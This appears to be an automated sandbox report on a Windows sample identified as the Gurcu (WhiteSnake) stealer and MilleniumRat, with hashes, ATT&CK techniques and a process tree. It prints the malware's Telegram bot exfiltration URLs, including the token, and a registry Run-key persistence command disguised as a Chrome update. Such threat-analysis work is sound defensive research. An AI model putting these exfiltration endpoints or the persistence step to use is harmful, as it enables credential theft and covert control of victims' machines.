gurcu | b340ffcae2c21b64b90d6a5c437cb677f4b039294200b67b5f19bbe9a419154c

Analysis

max time kernel
116s
max time network
118s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
08/04/2025, 18:47

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General

Target

built.exe
Size

5.6MB
MD5

bbbc360f5fda5c27b7fec16367108a1e
SHA1

30e718b49933b9cb4af5ee8449b5799be5217da9
SHA256

b340ffcae2c21b64b90d6a5c437cb677f4b039294200b67b5f19bbe9a419154c
SHA512

4ee33722b35ac11de62548f48bde68218936980a3e8480265a7d600b2baac2de7dd29bdca974935c0aad379871b45fbcaed181642c7e8fbd19a631e47a07e22a
SSDEEP

98304:sbl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Uc4:s6OuK6mn9NzgMoYkSIvUcwti7TQlvci1

Score

10^/10

gurcu milleniumrat discovery persistence rat spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendDocument?chat_id=2024893777&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.08%20kb

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendMessage?chat_id=2024893777

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/getUpdates?offset=-

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendDocument?chat_id=2024893777&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat
Milleniumrat family
milleniumrat

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\International\Geo\Nation	built.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\Control Panel\International\Geo\Nation	Updatte.exe

Executes dropped EXE 2 IoCs

pid	Process
5348	Updatte.exe
3840	Updatte.exe

Loads dropped DLL 3 IoCs

pid	Process
4324	built.exe
5348	Updatte.exe
3840	Updatte.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1062200478-553497403-3857448183-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLogs\\Updatte.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
12	raw.githubusercontent.com
14	raw.githubusercontent.com
35	raw.githubusercontent.com
45	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
5436	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Updatte.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Updatte.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1720	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
948	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
4324	built.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
5348	Updatte.exe
3840	Updatte.exe
3840	Updatte.exe
3840	Updatte.exe
3840	Updatte.exe
3840	Updatte.exe
3840	Updatte.exe
3840	Updatte.exe
3840	Updatte.exe
3840	Updatte.exe
3840	Updatte.exe
3840	Updatte.exe
3840	Updatte.exe
3840	Updatte.exe
3840	Updatte.exe
3840	Updatte.exe
3840	Updatte.exe
3840	Updatte.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4324	built.exe
Token: SeDebugPrivilege	5436	tasklist.exe
Token: SeDebugPrivilege	5348	Updatte.exe
Token: SeDebugPrivilege	3840	Updatte.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5348	Updatte.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4324 wrote to memory of 1388	4324	built.exe	92
PID 4324 wrote to memory of 1388	4324	built.exe	92
PID 1388 wrote to memory of 5436	1388	cmd.exe	94
PID 1388 wrote to memory of 5436	1388	cmd.exe	94
PID 1388 wrote to memory of 3044	1388	cmd.exe	95
PID 1388 wrote to memory of 3044	1388	cmd.exe	95
PID 1388 wrote to memory of 1720	1388	cmd.exe	96
PID 1388 wrote to memory of 1720	1388	cmd.exe	96
PID 1388 wrote to memory of 5348	1388	cmd.exe	97
PID 1388 wrote to memory of 5348	1388	cmd.exe	97
PID 5348 wrote to memory of 3268	5348	Updatte.exe	101
PID 5348 wrote to memory of 3268	5348	Updatte.exe	101
PID 3268 wrote to memory of 948	3268	cmd.exe	103
PID 3268 wrote to memory of 948	3268	cmd.exe	103
PID 928 wrote to memory of 3840	928	cmd.exe	106
PID 928 wrote to memory of 3840	928	cmd.exe	106

C:\Users\Admin\AppData\Local\Temp\built.exe
"C:\Users\Admin\AppData\Local\Temp\built.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp6D6F.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp6D6F.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1388
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 4324"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:5436
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:3044
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1720
- - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\Updatte.exe
    "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\Updatte.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:5348
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\Updatte.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3268
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\Updatte.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:948

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\Updatte.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:928
- C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\Updatte.exe
  C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\Updatte.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3840

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp6D6F.tmp.bat

Filesize
276B

MD5
115afa05302fe5f1b7ce10812c1fc3f2

SHA1
cc520e40160000c41f959fa2639d87ada74b08e0

SHA256
4831467e8a4b3870f0de7982c1b3a7332fb1f932362f51a05e27e84b4d698951

SHA512
8691e855eb3673bfad3b89068f90cc9a5f459772c59e4565c5159348fe6d716d7bdaa4843e87fc0c0c9b43d1a505e5c76bc14bb041da3e67bd9c99136937ec74

Download Submit
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\Updatte.exe

Filesize
5.6MB

MD5
bbbc360f5fda5c27b7fec16367108a1e

SHA1
30e718b49933b9cb4af5ee8449b5799be5217da9

SHA256
b340ffcae2c21b64b90d6a5c437cb677f4b039294200b67b5f19bbe9a419154c

SHA512
4ee33722b35ac11de62548f48bde68218936980a3e8480265a7d600b2baac2de7dd29bdca974935c0aad379871b45fbcaed181642c7e8fbd19a631e47a07e22a

Download Submit
memory/4324-7-0x00007FFAEDFF0000-0x00007FFAEEAB1000-memory.dmp

Filesize
10.8MB

Download
memory/4324-0-0x00007FFAEDFF3000-0x00007FFAEDFF5000-memory.dmp

Filesize
8KB

Download
memory/4324-8-0x000001DE78020000-0x000001DE7803E000-memory.dmp

Filesize
120KB

Download
memory/4324-12-0x00007FFAEDFF0000-0x00007FFAEEAB1000-memory.dmp

Filesize
10.8MB

Download
memory/4324-6-0x000001DE7A0D0000-0x000001DE7A146000-memory.dmp

Filesize
472KB

Download
memory/4324-1-0x000001DE77670000-0x000001DE77C10000-memory.dmp

Filesize
5.6MB

Download
memory/5348-20-0x0000021279B10000-0x0000021279B7A000-memory.dmp

Filesize
424KB

Download
memory/5348-19-0x0000021278610000-0x000002127861A000-memory.dmp

Filesize
40KB

Download
memory/5348-22-0x0000021279D80000-0x0000021279E32000-memory.dmp

Filesize
712KB

Download
memory/5348-23-0x0000021279E30000-0x0000021279E80000-memory.dmp

Filesize
320KB

Download
memory/5348-24-0x0000021278650000-0x0000021278672000-memory.dmp

Filesize
136KB

Download
memory/5348-29-0x0000021278620000-0x0000021278646000-memory.dmp

Filesize
152KB

Download
memory/5348-28-0x0000021279EC0000-0x0000021279EFA000-memory.dmp

Filesize
232KB

Download
memory/5348-30-0x000002127AAF0000-0x000002127AE1E000-memory.dmp

Filesize
3.2MB

Download
memory/5348-51-0x000002127AE20000-0x000002127AE32000-memory.dmp

Filesize
72KB

Download